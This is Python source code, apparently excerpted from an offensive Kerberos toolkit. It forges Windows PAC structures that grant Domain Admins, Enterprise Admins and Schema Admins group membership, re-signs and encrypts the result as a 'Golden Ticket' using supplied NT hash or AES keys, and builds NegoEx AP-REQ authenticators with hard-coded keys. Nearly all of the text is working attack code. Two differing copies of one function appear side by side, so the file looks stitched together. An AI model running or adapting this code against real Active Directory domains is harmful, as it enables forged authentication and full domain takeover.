def getGoldenPAC(self, authTime):
# Ok.. we need to build a PAC_TYPE with the following items
# 1) KERB_VALIDATION_INFO
aTime = timegm(strptime(str(authTime), '%Y%m%d%H%M%SZ'))
unixTime = getFileTime(aTime)
kerbdata = KERB_VALIDATION_INFO()
kerbdata['LogonTime']['dwLowDateTime'] = unixTime & 0xffffffff
kerbdata['LogonTime']['dwHighDateTime'] = unixTime >> 32
# LogoffTime: A FILETIME structure that contains the time the client's logon
# session should expire. If the session should not expire, this structure
# SHOULD have the dwHighDateTime member set to 0x7FFFFFFF and the dwLowDateTime
# member set to 0xFFFFFFFF. A recipient of the PAC SHOULD<7> use this value as
# an indicator of when to warn the user that the allowed time is due to expire.
kerbdata['LogoffTime']['dwLowDateTime'] = 0xFFFFFFFF
kerbdata['LogoffTime']['dwHighDateTime'] = 0x7FFFFFFF
# KickOffTime: A FILETIME structure that contains LogoffTime minus the user
# account's forceLogoff attribute ([MS-ADA1] section 2.233) value. If the
# client should not be logged off, this structure SHOULD have the dwHighDateTime
# member set to 0x7FFFFFFF and the dwLowDateTime member set to 0xFFFFFFFF.
# The Kerberos service ticket end time is a replacement for KickOffTime.
# The service ticket lifetime SHOULD NOT be set longer than the KickOffTime of
# an account. A recipient of the PAC SHOULD<8> use this value as the indicator
# of when the client should be forcibly disconnected.
kerbdata['KickOffTime']['dwLowDateTime'] = 0xFFFFFFFF
kerbdata['KickOffTime']['dwHighDateTime'] = 0x7FFFFFFF
kerbdata['PasswordLastSet']['dwLowDateTime'] = 0
kerbdata['PasswordLastSet']['dwHighDateTime'] = 0
kerbdata['PasswordCanChange']['dwLowDateTime'] = 0
kerbdata['PasswordCanChange']['dwHighDateTime'] = 0
# PasswordMustChange: A FILETIME structure that contains the time at which
# theclient's password expires. If the password will not expire, this
# structure MUST have the dwHighDateTime member set to 0x7FFFFFFF and the
# dwLowDateTime member set to 0xFFFFFFFF.
kerbdata['PasswordMustChange']['dwLowDateTime'] = 0xFFFFFFFF
kerbdata['PasswordMustChange']['dwHighDateTime'] = 0x7FFFFFFF
kerbdata['EffectiveName'] = self.__username
kerbdata['FullName'] = ''
kerbdata['LogonScript'] = ''
kerbdata['ProfilePath'] = ''
kerbdata['HomeDirectory'] = ''
kerbdata['HomeDirectoryDrive'] = ''
kerbdata['LogonCount'] = 0
kerbdata['BadPasswordCount'] = 0
kerbdata['UserId'] = self.__rid
kerbdata['PrimaryGroupId'] = 513
# Our Golden Well-known groups! :)
groups = (513, 512, 520, 518, 519)
kerbdata['GroupCount'] = len(groups)
for group in groups:
groupMembership = GROUP_MEMBERSHIP()
groupId = NDRULONG()
groupId['Data'] = group
groupMembership['RelativeId'] = groupId
groupMembership[
'Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED
kerbdata['GroupIds'].append(groupMembership)
kerbdata['UserFlags'] = 0
kerbdata[
'UserSessionKey'] = '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
kerbdata['LogonServer'] = ''
kerbdata['LogonDomainName'] = self.__domain
kerbdata['LogonDomainId'] = self.__domainSid
kerbdata['LMKey'] = '\x00\x00\x00\x00\x00\x00\x00\x00'
kerbdata[
'UserAccountControl'] = USER_NORMAL_ACCOUNT | USER_DONT_EXPIRE_PASSWORD
kerbdata['SubAuthStatus'] = 0
kerbdata['LastSuccessfulILogon']['dwLowDateTime'] = 0
kerbdata['LastSuccessfulILogon']['dwHighDateTime'] = 0
kerbdata['LastFailedILogon']['dwLowDateTime'] = 0
kerbdata['LastFailedILogon']['dwHighDateTime'] = 0
kerbdata['FailedILogonCount'] = 0
kerbdata['Reserved3'] = 0
# AUTHENTICATION_AUTHORITY_ASSERTED_IDENTITY: A SID that means the client's identity is
# asserted by an authentication authority based on proof of possession of client credentials.
#extraSids = ('S-1-18-1',)
if self.__forestSid is not None:
extraSids = ('%s-%s' % (self.__forestSid, '519'), )
kerbdata['SidCount'] = len(extraSids)
kerbdata['UserFlags'] |= 0x20
else:
extraSids = ()
kerbdata['SidCount'] = len(extraSids)
for extraSid in extraSids:
sidRecord = KERB_SID_AND_ATTRIBUTES()
sid = RPC_SID()
sid.fromCanonical(extraSid)
sidRecord['Sid'] = sid
sidRecord[
'Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED
kerbdata['ExtraSids'].append(sidRecord)
kerbdata['ResourceGroupDomainSid'] = NULL
kerbdata['ResourceGroupCount'] = 0
kerbdata['ResourceGroupIds'] = NULL
validationInfo = self.VALIDATION_INFO()
validationInfo['Data'] = kerbdata
if logging.getLogger().level == logging.DEBUG:
logging.debug('VALIDATION_INFO')
validationInfo.dump()
print('\n')
validationInfoBlob = validationInfo.getData(
) + validationInfo.getDataReferents()
validationInfoAlignment = '\x00' * ((
(len(validationInfoBlob) + 7) / 8 * 8) - len(validationInfoBlob))
# 2) PAC_CLIENT_INFO
pacClientInfo = PAC_CLIENT_INFO()
pacClientInfo['ClientId'] = unixTime
try:
name = self.__username.encode('utf-16le')
except UnicodeDecodeError:
import sys
name = self.__username.decode(
sys.getfilesystemencoding()).encode('utf-16le')
pacClientInfo['NameLength'] = len(name)
pacClientInfo['Name'] = name
pacClientInfoBlob = str(pacClientInfo)
pacClientInfoAlignment = '\x00' * ((
(len(pacClientInfoBlob) + 7) / 8 * 8) - len(pacClientInfoBlob))
# 3) PAC_SERVER_CHECKSUM/PAC_SIGNATURE_DATA
serverChecksum = PAC_SIGNATURE_DATA()
# If you wanna do CRC32, uncomment this
#serverChecksum['SignatureType'] = self.CRC_32
#serverChecksum['Signature'] = '\x00'*4
# If you wanna do MD4, uncomment this
#serverChecksum['SignatureType'] = self.RSA_MD4
#serverChecksum['Signature'] = '\x00'*16
# If you wanna do MD5, uncomment this
serverChecksum['SignatureType'] = self.RSA_MD5
serverChecksum['Signature'] = '\x00' * 16
serverChecksumBlob = str(serverChecksum)
serverChecksumAlignment = '\x00' * ((
(len(serverChecksumBlob) + 7) / 8 * 8) - len(serverChecksumBlob))
# 4) PAC_PRIVSVR_CHECKSUM/PAC_SIGNATURE_DATA
privSvrChecksum = PAC_SIGNATURE_DATA()
# If you wanna do CRC32, uncomment this
#privSvrChecksum['SignatureType'] = self.CRC_32
#privSvrChecksum['Signature'] = '\x00'*4
# If you wanna do MD4, uncomment this
#privSvrChecksum['SignatureType'] = self.RSA_MD4
#privSvrChecksum['Signature'] = '\x00'*16
# If you wanna do MD5, uncomment this
privSvrChecksum['SignatureType'] = self.RSA_MD5
privSvrChecksum['Signature'] = '\x00' * 16
privSvrChecksumBlob = str(privSvrChecksum)
privSvrChecksumAlignment = '\x00' * ((
(len(privSvrChecksumBlob) + 7) / 8 * 8) - len(privSvrChecksumBlob))
# The offset are set from the beginning of the PAC_TYPE
# [MS-PAC] 2.4 PAC_INFO_BUFFER
offsetData = 8 + len(str(PAC_INFO_BUFFER())) * 4
# Let's build the PAC_INFO_BUFFER for each one of the elements
validationInfoIB = PAC_INFO_BUFFER()
validationInfoIB['ulType'] = PAC_LOGON_INFO
validationInfoIB['cbBufferSize'] = len(validationInfoBlob)
validationInfoIB['Offset'] = offsetData
offsetData = (offsetData + validationInfoIB['cbBufferSize'] +
7) / 8 * 8
pacClientInfoIB = PAC_INFO_BUFFER()
pacClientInfoIB['ulType'] = PAC_CLIENT_INFO_TYPE
pacClientInfoIB['cbBufferSize'] = len(pacClientInfoBlob)
pacClientInfoIB['Offset'] = offsetData
offsetData = (offsetData + pacClientInfoIB['cbBufferSize'] + 7) / 8 * 8
serverChecksumIB = PAC_INFO_BUFFER()
serverChecksumIB['ulType'] = PAC_SERVER_CHECKSUM
serverChecksumIB['cbBufferSize'] = len(serverChecksumBlob)
serverChecksumIB['Offset'] = offsetData
offsetData = (offsetData + serverChecksumIB['cbBufferSize'] +
7) / 8 * 8
privSvrChecksumIB = PAC_INFO_BUFFER()
privSvrChecksumIB['ulType'] = PAC_PRIVSVR_CHECKSUM
privSvrChecksumIB['cbBufferSize'] = len(privSvrChecksumBlob)
privSvrChecksumIB['Offset'] = offsetData
#offsetData = (offsetData+privSvrChecksumIB['cbBufferSize'] + 7) /8 *8
# Building the PAC_TYPE as specified in [MS-PAC]
buffers = str(validationInfoIB) + str(pacClientInfoIB) + str(
serverChecksumIB) + str(
privSvrChecksumIB
) + validationInfoBlob + validationInfoAlignment + str(
pacClientInfo) + pacClientInfoAlignment
buffersTail = str(serverChecksum) + serverChecksumAlignment + str(
privSvrChecksum) + privSvrChecksumAlignment
pacType = PACTYPE()
pacType['cBuffers'] = 4
pacType['Version'] = 0
pacType['Buffers'] = buffers + buffersTail
blobToChecksum = str(pacType)
# If you want to do CRC-32, ucomment this
#serverChecksum['Signature'] = struct.pack('<L', (binascii.crc32(blobToChecksum, 0xffffffff) ^ 0xffffffff) & 0xffffffff)
#privSvrChecksum['Signature'] = struct.pack('<L', (binascii.crc32(serverChecksum['Signature'], 0xffffffff) ^ 0xffffffff) & 0xffffffff)
# If you want to do MD4, ucomment this
#serverChecksum['Signature'] = MD4.new(blobToChecksum).digest()
#privSvrChecksum['Signature'] = MD4.new(serverChecksum['Signature']).digest()
# If you want to do MD5, ucomment this
serverChecksum['Signature'] = MD5.new(blobToChecksum).digest()
privSvrChecksum['Signature'] = MD5.new(
serverChecksum['Signature']).digest()
buffersTail = str(serverChecksum) + serverChecksumAlignment + str(
privSvrChecksum) + privSvrChecksumAlignment
pacType['Buffers'] = buffers + buffersTail
authorizationData = AuthorizationData()
authorizationData[0] = None
authorizationData[0]['ad-type'] = int(
constants.AuthorizationDataType.AD_WIN2K_PAC.value)
authorizationData[0]['ad-data'] = str(pacType)
return encoder.encode(authorizationData)
def getKerberosTGS(cipher, sessionKey, tgtResponse, gssAPIChecksumBuffer):
a = (minikerberos.protocol.asn1_structs.AS_REP(tgtResponse['Kerberos']))
decodedTGT = decoder.decode(a.dump(), asn1Spec=AS_REP())[0]
# Extract the ticket from the TGT
ticket = Ticket() # should be -128 name-type
ticket.from_asn1(decodedTGT['ticket'])
apReq = AP_REQ()
apReq['pvno'] = 5
apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)
opts = list()
opts.append(constants.KDCOptions.forwarded.value)
apReq['ap-options'] = constants.encodeFlags(opts)
seq_set(apReq, 'ticket', ticket.to_asn1)
authenticator = Authenticator()
authenticator['authenticator-vno'] = 5
authenticator['crealm'] = decodedTGT['crealm'].asOctets()
clientName = Principal()
clientName.from_asn1(decodedTGT, 'crealm', 'cname')
seq_set(authenticator, 'cname', clientName.components_to_asn1)
now = datetime.datetime.utcnow()
authenticator['cusec'] = 2 #now.microsecond
authenticator['ctime'] = KerberosTime.to_asn1(now)
authenticator['cksum']['cksumtype'] = 0x8003
chkField = CheckSumField()
chkField['Lgth'] = 16
# GSS_C_MUTUAL_FLAG | GSS_C_INTEG_FLAG | GSS_C_EXTENDED_ERROR_FLAG
chkField['Flags'] = 16418
subKey = bytes.fromhex(
'FB3F5B9CB2E387A5815D57E672978A118C22404938B279BBD4E29E1505CAC2C3')
checksumtype = _checksum_table[ChecksumTypes.hmac_sha1_96_aes256.value]
keyServer = Key(Enctype.AES256, subKey)
kerbFinished = {}
kerbFinished['gss-mic'] = {
'cksumtype':
16,
'checksum':
checksumtype.checksum(keyServer, 41,
bytes.fromhex(gssAPIChecksumBuffer))
}
kerbFinished = KRB_FINISHED(kerbFinished)
authenticator['cksum']['checksum'] = chkField.getData() + bytes.fromhex(
GenerateExtensions(kerbFinished.dump()))
authenticator['subkey']['keytype'] = 18
authenticator['subkey']['keyvalue'] = subKey
authenticator['seq-number'] = 682437742
tokenIntegrity = LSAP_TOKEN_INFO_INTEGRITY()
tokenIntegrity.Flags = 1
tokenIntegrity.MachineID = bytes.fromhex(
'7e303fffe6bff25146addca4fbddf1b94f1634178eb4528fb2731c669ca23cde')
tokenIntegrity.TokenIL = int('2000', 16)
RESTRICTION_ENTRY = [{
'restriction-type': 0,
'restriction': bytes.fromhex(Pack(tokenIntegrity))
}]
KERB_AUTH_DATA_TOKEN_RESTRICTIONS = AuthorizationData()
KERB_AUTH_DATA_TOKEN_RESTRICTIONS[0]['ad-type'] = 141
KERB_AUTH_DATA_TOKEN_RESTRICTIONS[0][
'ad-data'] = KERB_AD_RESTRICTION_ENTRYS(RESTRICTION_ENTRY).dump()
# AD_IF_RELEVANT
authenticator['authorization-data'][0]['ad-type'] = 1
authenticator['authorization-data'][0]['ad-data'] = encoder.encode(
KERB_AUTH_DATA_TOKEN_RESTRICTIONS)
encodedAuthenticator = encoder.encode(authenticator)
# Key Usage 7
# TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes
# TGS authenticator subkey), encrypted with the TGS session
# key (Section 5.5.1)
## should be key usage 11
encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 11,
encodedAuthenticator, None)
apReq['authenticator']['etype'] = cipher.enctype
apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator
apReqNegoEx = {}
apReqNegoEx['kerberos-v5'] = '1.3.6.1.5.2.7'
apReqNegoEx['null'] = core.Boolean(True, contents=b'')
apReqNegoEx['Kerberos'] = minikerberos.protocol.asn1_structs.AP_REQ.load(
encoder.encode(apReq))
apReqNegoEx = SPNEGO_PKINIT_AP_REQ(apReqNegoEx)
data = (apReqNegoEx.dump().hex())
return data
def signEncryptTicket(self, kdcRep, encASorTGSRepPart, encTicketPart,
pacInfos):
logging.info('Signing/Encrypting final ticket')
# We changed everything we needed to make us special. Now let's repack and calculate checksums
validationInfoBlob = pacInfos[PAC_LOGON_INFO]
validationInfoAlignment = b'\x00' * ((
(len(validationInfoBlob) + 7) // 8 * 8) - len(validationInfoBlob))
pacClientInfoBlob = pacInfos[PAC_CLIENT_INFO_TYPE]
pacClientInfoAlignment = b'\x00' * ((
(len(pacClientInfoBlob) + 7) // 8 * 8) - len(pacClientInfoBlob))
serverChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_SERVER_CHECKSUM])
serverChecksumBlob = pacInfos[PAC_SERVER_CHECKSUM]
serverChecksumAlignment = b'\x00' * ((
(len(serverChecksumBlob) + 7) // 8 * 8) - len(serverChecksumBlob))
privSvrChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_PRIVSVR_CHECKSUM])
privSvrChecksumBlob = pacInfos[PAC_PRIVSVR_CHECKSUM]
privSvrChecksumAlignment = b'\x00' * ((
(len(privSvrChecksumBlob) + 7) // 8 * 8) -
len(privSvrChecksumBlob))
# The offset are set from the beginning of the PAC_TYPE
# [MS-PAC] 2.4 PAC_INFO_BUFFER
offsetData = 8 + len(PAC_INFO_BUFFER().getData()) * 4
# Let's build the PAC_INFO_BUFFER for each one of the elements
validationInfoIB = PAC_INFO_BUFFER()
validationInfoIB['ulType'] = PAC_LOGON_INFO
validationInfoIB['cbBufferSize'] = len(validationInfoBlob)
validationInfoIB['Offset'] = offsetData
offsetData = (offsetData + validationInfoIB['cbBufferSize'] +
7) // 8 * 8
pacClientInfoIB = PAC_INFO_BUFFER()
pacClientInfoIB['ulType'] = PAC_CLIENT_INFO_TYPE
pacClientInfoIB['cbBufferSize'] = len(pacClientInfoBlob)
pacClientInfoIB['Offset'] = offsetData
offsetData = (offsetData + pacClientInfoIB['cbBufferSize'] +
7) // 8 * 8
serverChecksumIB = PAC_INFO_BUFFER()
serverChecksumIB['ulType'] = PAC_SERVER_CHECKSUM
serverChecksumIB['cbBufferSize'] = len(serverChecksumBlob)
serverChecksumIB['Offset'] = offsetData
offsetData = (offsetData + serverChecksumIB['cbBufferSize'] +
7) // 8 * 8
privSvrChecksumIB = PAC_INFO_BUFFER()
privSvrChecksumIB['ulType'] = PAC_PRIVSVR_CHECKSUM
privSvrChecksumIB['cbBufferSize'] = len(privSvrChecksumBlob)
privSvrChecksumIB['Offset'] = offsetData
# offsetData = (offsetData+privSvrChecksumIB['cbBufferSize'] + 7) //8 *8
# Building the PAC_TYPE as specified in [MS-PAC]
buffers = validationInfoIB.getData() + pacClientInfoIB.getData() + serverChecksumIB.getData() + \
privSvrChecksumIB.getData() + validationInfoBlob + validationInfoAlignment + \
pacInfos[PAC_CLIENT_INFO_TYPE] + pacClientInfoAlignment
buffersTail = serverChecksumBlob + serverChecksumAlignment + privSvrChecksum.getData(
) + privSvrChecksumAlignment
pacType = PACTYPE()
pacType['cBuffers'] = 4
pacType['Version'] = 0
pacType['Buffers'] = buffers + buffersTail
blobToChecksum = pacType.getData()
checkSumFunctionServer = _checksum_table[
serverChecksum['SignatureType']]
if serverChecksum[
'SignatureType'] == ChecksumTypes.hmac_sha1_96_aes256.value:
keyServer = Key(Enctype.AES256, unhexlify(self.__options.aesKey))
elif serverChecksum[
'SignatureType'] == ChecksumTypes.hmac_sha1_96_aes128.value:
keyServer = Key(Enctype.AES128, unhexlify(self.__options.aesKey))
elif serverChecksum['SignatureType'] == ChecksumTypes.hmac_md5.value:
keyServer = Key(Enctype.RC4, unhexlify(self.__options.nthash))
else:
raise Exception('Invalid Server checksum type 0x%x' %
serverChecksum['SignatureType'])
checkSumFunctionPriv = _checksum_table[
privSvrChecksum['SignatureType']]
if privSvrChecksum[
'SignatureType'] == ChecksumTypes.hmac_sha1_96_aes256.value:
keyPriv = Key(Enctype.AES256, unhexlify(self.__options.aesKey))
elif privSvrChecksum[
'SignatureType'] == ChecksumTypes.hmac_sha1_96_aes128.value:
keyPriv = Key(Enctype.AES128, unhexlify(self.__options.aesKey))
elif privSvrChecksum['SignatureType'] == ChecksumTypes.hmac_md5.value:
keyPriv = Key(Enctype.RC4, unhexlify(self.__options.nthash))
else:
raise Exception('Invalid Priv checksum type 0x%x' %
serverChecksum['SignatureType'])
serverChecksum['Signature'] = checkSumFunctionServer.checksum(
keyServer, KERB_NON_KERB_CKSUM_SALT, blobToChecksum)
logging.info('\tPAC_SERVER_CHECKSUM')
privSvrChecksum['Signature'] = checkSumFunctionPriv.checksum(
keyPriv, KERB_NON_KERB_CKSUM_SALT, serverChecksum['Signature'])
logging.info('\tPAC_PRIVSVR_CHECKSUM')
buffersTail = serverChecksum.getData(
) + serverChecksumAlignment + privSvrChecksum.getData(
) + privSvrChecksumAlignment
pacType['Buffers'] = buffers + buffersTail
authorizationData = AuthorizationData()
authorizationData[0] = noValue
authorizationData[0][
'ad-type'] = AuthorizationDataType.AD_WIN2K_PAC.value
authorizationData[0]['ad-data'] = pacType.getData()
authorizationData = encoder.encode(authorizationData)
encTicketPart['authorization-data'][0]['ad-data'] = authorizationData
if logging.getLogger().level == logging.DEBUG:
logging.debug('Customized EncTicketPart')
print(encTicketPart.prettyPrint())
print('\n')
encodedEncTicketPart = encoder.encode(encTicketPart)
cipher = _enctype_table[kdcRep['ticket']['enc-part']['etype']]
if cipher.enctype == EncryptionTypes.aes256_cts_hmac_sha1_96.value:
key = Key(cipher.enctype, unhexlify(self.__options.aesKey))
elif cipher.enctype == EncryptionTypes.aes128_cts_hmac_sha1_96.value:
key = Key(cipher.enctype, unhexlify(self.__options.aesKey))
elif cipher.enctype == EncryptionTypes.rc4_hmac.value:
key = Key(cipher.enctype, unhexlify(self.__options.nthash))
else:
raise Exception('Unsupported enctype 0x%x' % cipher.enctype)
# Key Usage 2
# AS-REP Ticket and TGS-REP Ticket (includes TGS session
# key or application session key), encrypted with the
# service key (Section 5.3)
logging.info('\tEncTicketPart')
cipherText = cipher.encrypt(key, 2, encodedEncTicketPart, None)
kdcRep['ticket']['enc-part']['cipher'] = cipherText
kdcRep['ticket']['enc-part']['kvno'] = 2
# Lastly.. we have to encrypt the kdcRep['enc-part'] part
# with a key we chose. It actually doesn't really matter since nobody uses it (could it be trash?)
encodedEncASRepPart = encoder.encode(encASorTGSRepPart)
if self.__domain == self.__server:
# Key Usage 3
# AS-REP encrypted part (includes TGS session key or
# application session key), encrypted with the client key
# (Section 5.4.2)
sessionKey = Key(cipher.enctype,
encASorTGSRepPart['key']['keyvalue'].asOctets())
logging.info('\tEncASRepPart')
cipherText = cipher.encrypt(sessionKey, 3, encodedEncASRepPart,
None)
else:
# Key Usage 8
# TGS-REP encrypted part (includes application session
# key), encrypted with the TGS session key
# (Section 5.4.2)
sessionKey = Key(cipher.enctype,
encASorTGSRepPart['key']['keyvalue'].asOctets())
logging.info('\tEncTGSRepPart')
cipherText = cipher.encrypt(sessionKey, 8, encodedEncASRepPart,
None)
kdcRep['enc-part']['cipher'] = cipherText
kdcRep['enc-part']['etype'] = cipher.enctype
kdcRep['enc-part']['kvno'] = 1
if logging.getLogger().level == logging.DEBUG:
logging.debug('Final Golden Ticket')
print(kdcRep.prettyPrint())
print('\n')
return encoder.encode(kdcRep), cipher, sessionKey
def getKerberosTGS(cipher, sessionKey, tgtResponse, gssAPIChecksumBuffer):
apReqNegoEx = SPNEGO_PKINIT()
apReqNegoEx['kerberos-v5'] = '1.3.6.1.5.2.7'
apReqNegoEx['null'] = univ.Boolean(True)
# Extract the ticket from the TGT
ticket = Ticket() # should be -128 name-type
ticket.from_asn1(tgtResponse['ticket'])
apReqNegoEx['Kerberos']['ApReq']['pvno'] = 5
apReqNegoEx['Kerberos']['ApReq']['msg-type'] = int(
constants.ApplicationTagNumbers.AP_REQ.value)
opts = list()
opts.append(constants.KDCOptions.forwarded.value)
apReqNegoEx['Kerberos']['ApReq']['ap-options'] = constants.encodeFlags(
opts)
seq_set(apReqNegoEx['Kerberos']['ApReq'], 'ticket', ticket.to_asn1)
authenticator = Authenticator()
authenticator['authenticator-vno'] = 5
authenticator['crealm'] = tgtResponse['crealm'].asOctets()
clientName = PrincipalModified()
clientName.from_asn1(tgtResponse, 'crealm', 'cname')
seq_set(authenticator, 'cname', clientName.components_to_asn1)
now = datetime.datetime.utcnow()
authenticator['cusec'] = 2 #now.microsecond
authenticator['ctime'] = KerberosTime.to_asn1(now)
authenticator['cksum']['cksumtype'] = 0x8003
chkField = CheckSumField()
chkField['Lgth'] = 16
# GSS_C_MUTUAL_FLAG | GSS_C_INTEG_FLAG | GSS_C_EXTENDED_ERROR_FLAG
chkField['Flags'] = 16418
subKey = 'FB3F5B9CB2E387A5815D57E672978A118C22404938B279BBD4E29E1505CAC2C3'.decode(
'hex')
checksumtype = _checksum_table[ChecksumTypes.hmac_sha1_96_aes256.value]
keyServer = Key(Enctype.AES256, subKey)
kerbFinished = KRB_FINISHED()
kerbFinished['gss-mic']['cksumtype'] = 16
kerbFinished['gss-mic']['checksum'] = checksumtype.checksum(
keyServer, 41, gssAPIChecksumBuffer.decode('hex'))
authenticator['cksum']['checksum'] = chkField.getData() + (
GenerateExtensions(
encoder.encode(kerbFinished).encode('hex'))).decode('hex')
authenticator['subkey']['keytype'] = 18
authenticator['subkey']['keyvalue'] = subKey
authenticator['seq-number'] = 682437742
tokenIntegrity = LSAP_TOKEN_INFO_INTEGRITY()
tokenIntegrity.Flags = 1
tokenIntegrity.MachineID = '7e303fffe6bff25146addca4fbddf1b94f1634178eb4528fb2731c669ca23cde'.decode(
'hex')
tokenIntegrity.TokenIL = int('2000', 16)
RESTRICTION_ENTRY = KERB_AD_RESTRICTION_ENTRYS()
RESTRICTION_ENTRY[0]['restriction-type'] = 0 # const
RESTRICTION_ENTRY[0]['restriction'] = Pack(tokenIntegrity).decode('hex')
KERB_AUTH_DATA_TOKEN_RESTRICTIONS = AuthorizationData()
KERB_AUTH_DATA_TOKEN_RESTRICTIONS[0]['ad-type'] = 141
KERB_AUTH_DATA_TOKEN_RESTRICTIONS[0]['ad-data'] = encoder.encode(
RESTRICTION_ENTRY)
# AD_IF_RELEVANT
authenticator['authorization-data'][0]['ad-type'] = 1
authenticator['authorization-data'][0]['ad-data'] = encoder.encode(
KERB_AUTH_DATA_TOKEN_RESTRICTIONS)
encodedAuthenticator = encoder.encode(authenticator)
# Key Usage 7
# TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes
# TGS authenticator subkey), encrypted with the TGS session
# key (Section 5.5.1)
## should be key usage 11
encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 11,
encodedAuthenticator, None)
apReqNegoEx['Kerberos']['ApReq']['authenticator']['etype'] = cipher.enctype
apReqNegoEx['Kerberos']['ApReq']['authenticator'][
'cipher'] = encryptedEncodedAuthenticator
data = encoder.encode(apReqNegoEx).encode('hex')
data = data[:4] + "{0:0{1}x}".format(int(data[4:8], 16) - 1,
4) + data[8:26] + '00' + data[30:]
return data